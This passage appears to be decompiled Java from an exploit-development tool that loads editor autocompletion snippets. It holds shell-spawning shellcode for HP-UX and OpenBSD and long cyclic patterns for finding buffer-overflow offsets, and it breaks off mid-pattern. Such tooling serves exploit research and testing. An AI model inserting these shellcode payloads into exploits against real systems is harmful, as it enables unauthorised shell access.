    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeHPUX = \"\\xe8\\x3f\\x1f\\xfd\\x08\\x21\\x02\\x80\\x34\\x02\\x01\\x02\\x08\\x41\\x04\\x02\\x60\\x40\"\n  \"\\x01\\x62\\xb4\\x5a\\x01\\x54\\x0b\\x39\\x02\\x99\\x0b\\x18\\x02\\x98\\x34\\x16\\x04\\xbe\"\n  \"\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\\x96\\xd6\\x05\\x34\\xde\\xad\\xca\\xfe/bin/sh\\xff\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeOpenBSD = \"\\x31\\xc0\\x66\\xba\\x0e\\x27\\x66\\x81\\xea\\x06\\x27\\xb0\\x37\\xcd\\x80\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern256 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern512 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMA\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern1024 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnC\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern2048 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern4096 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2e\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern8196 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2eA24A2JA2fA25A2KA2gA26A2LA2hA27A2MA2iA28A2NA2jA29A2OA2kA2PA2lA2QA2mA2RA2oA2SA2pA2TA2qA2UA2rA2VA2tA2WA2uA2XA2vA2YA2wA2ZA2xA2yA2zAH%AHsAHBAH$AHnAHCAH-AH(AHDAH;AH)AHEAHaAH0AHFAHbAH1AHGAHcAH2AHHAHdAH3AHIAHeAH4AHJAHfAH5AHKAHgAH6AHLAHhAH7AHMAHiAH8AHNAHjAH9AHOAHkAHPAHlAHQAHmAHRAHoAHSAHpAHTAHqAHUAHrAHVAHtAHWAHuAHXAHvAHYAHwAHZAHxAHyAHzAd%AdsAdBAd$AdnAdCAd-Ad(AdDAd;Ad)AdEAdaAd0AdFAdbAd1AdGAdcAd2AdHAddAd3AdIAdeAd4AdJAdfAd5AdKAdgAd6AdLAdhAd7AdMAdiAd8AdNAdjAd9AdOAdkAdPAdlAdQAdmAdRAdoAdSAdpAdTAdqAdUAdrAdVAdtAdWAduAdXAdvAdYAdwAdZAdxAdyAdzA3%A3sA3BA3$A3nA3CA3-A3(A3DA3;A3)A3EA3aA30A3FA3bA31A3GA3cA32A3HA3dA33A3IA3eA34A3JA3fA35A3KA3gA36A3LA3hA37A3MA3iA38A3NA3jA39A3OA3kA3PA3lA3QA3mA3RA3oA3SA3pA3TA3qA3UA3rA3VA3tA3WA3uA3XA3vA3YA3wA3ZA3xA3yA3zAI%AIsAIBAI$AInAICAI-AI(AIDAI;AI)AIEAIaAI0AIFAIbAI1AIGAIcAI2AIHAIdAI3AIIAIeAI4AIJAIfAI5AIKAIgAI6AILAIhAI7AIMAIiAI8AINAIjAI9AIOAIkAIPAIlAIQAImAIRAIoAISAIpAITAIqAIUAIrAIVAItAIWAIuAIXAIvAIYAIwAIZAIxAIyAIzAe%AesAeBAe$AenAeCAe-Ae(AeDAe;Ae)AeEAeaAe0AeFAebAe1AeGAecAe2AeHAedAe3AeIAeeAe4AeJAefAe5AeKAegAe6AeLAehAe7AeMAeiAe8AeNAejAe9AeOAekAePAelAeQAemAeRAeoAeSAepAeTAeqAeUAerAeVAetAeWAeuAeXAevAeYAewAeZAexAeyAezA4%A4sA4BA4$A4nA4CA4-A4(A4DA4;A4)A4EA4aA40A4FA4bA41A4GA4cA42A4HA4dA43A4IA4eA44A4JA4fA45A4KA4gA46A4LA4hA47A4MA4iA48A4NA4jA49A4OA4kA4PA4lA4QA4mA4RA4oA4SA4pA4TA4qA4UA4rA4VA4tA4WA4uA4XA4vA4YA4wA4ZA4xA4yA4zAJ%AJsAJBAJ$AJnAJCAJ-AJ(AJDAJ;AJ)AJEAJaAJ0AJFAJbAJ1AJGAJcAJ2AJHAJdAJ3AJIAJeAJ4AJJAJfAJ5AJKAJgAJ6AJLAJhAJ7AJMAJiAJ8AJNAJjAJ9AJOAJkAJPAJlAJQAJmAJRAJoAJSAJpAJTAJqAJUAJrAJVAJtAJWAJuAJXAJvAJYAJwAJZAJxAJyAJzAf%AfsAfBAf$AfnAfCAf-Af(AfDAf;Af)AfEAfaAf0AfFAfbAf1AfGAfcAf2AfHAfdAf3AfIAfeAf4AfJAffAf5AfKAfgAf6AfLAfhAf7AfMAfiAf8AfNAfjAf9AfOAfkAfPAflAfQAfmAfRAfoAfSAfpAfTAfqAfUAfrAfVAftAfWAfuAfXAfvAfYAfwAfZAfxAfyAfzA5%A5sA5BA5$A5nA5CA5-A5(A5DA5;A5)A5EA5aA50A5FA5bA51A5GA5cA52A5HA5dA53A5IA5eA54A5JA5fA55A5KA5gA56A5LA5hA57A5MA5iA58A5NA5jA59A5OA5kA5PA5lA5QA5mA5RA5oA5SA5pA5TA5qA5UA5rA5VA5tA5WA5uA5XA5vA5YA5wA5ZA5xA5yA5zAK%AKsAKBAK$AKnAKCAK-AK(AKDAK;AK)AKEAKaAK0AKFAKbAK1AKGAKcAK2AKHAKdAK3AKIAKeAK4AKJAKfAK5AKKAKgAK6AKLAKhAK7AKMAKiAK8AKNAKjAK9AKOAKkAKPAKlAKQAKmAKRAKoAKSAKpAKTAKqAKUAKrAKVAKtAKWAKuAKXAKvAKYAKwAKZAKxAKyAKzAg%AgsAgBAg$AgnAgCAg-Ag(AgDAg;Ag)AgEAgaAg0AgFAgbAg1AgGAgcAg2AgHAgdAg3AgIAgeAg4AgJAgfAg5AgKAggAg6AgLAghAg7AgMAgiAg8AgNAgjAg9AgOAgkAgPAglAgQAgmAgRAgoAgSAgpAgTAgqAgUAgrAgVAgtAgWAguAgXAgvAgYAgwAgZAgxAgyAgzA6%A6sA6BA6$A6nA6CA6-A6(A6DA6;A6)A6EA6aA60A6FA6bA61A6GA6cA62A6HA6dA63A6IA6eA64A6JA6fA65A6KA6gA66A6LA6hA67A6MA6iA68A6NA6jA69A6OA6kA6PA6lA6QA6mA6RA6oA6SA6pA6TA6qA6UA6rA6VA6tA6WA6uA6XA6vA6YA6wA6ZA6xA6yA6zAL%ALsALBAL$ALnALCAL-AL(ALDAL;AL)ALEALaAL0ALFALbAL1ALGALcAL2ALHALdAL3ALIALeAL4ALJALfAL5ALKALgAL6ALLALhAL7ALMALiAL8ALNALjAL9ALOALkALPALlALQALmALRALoALSALpALTALqALUALrALVALtALWALuALXALvALYALwALZALxALyALzAh%AhsAhBAh$AhnAhCAh-Ah(AhDAh;Ah)AhEAhaAh0AhFAhbAh1AhGAhcAh2AhHAhdAh3AhIAheAh4A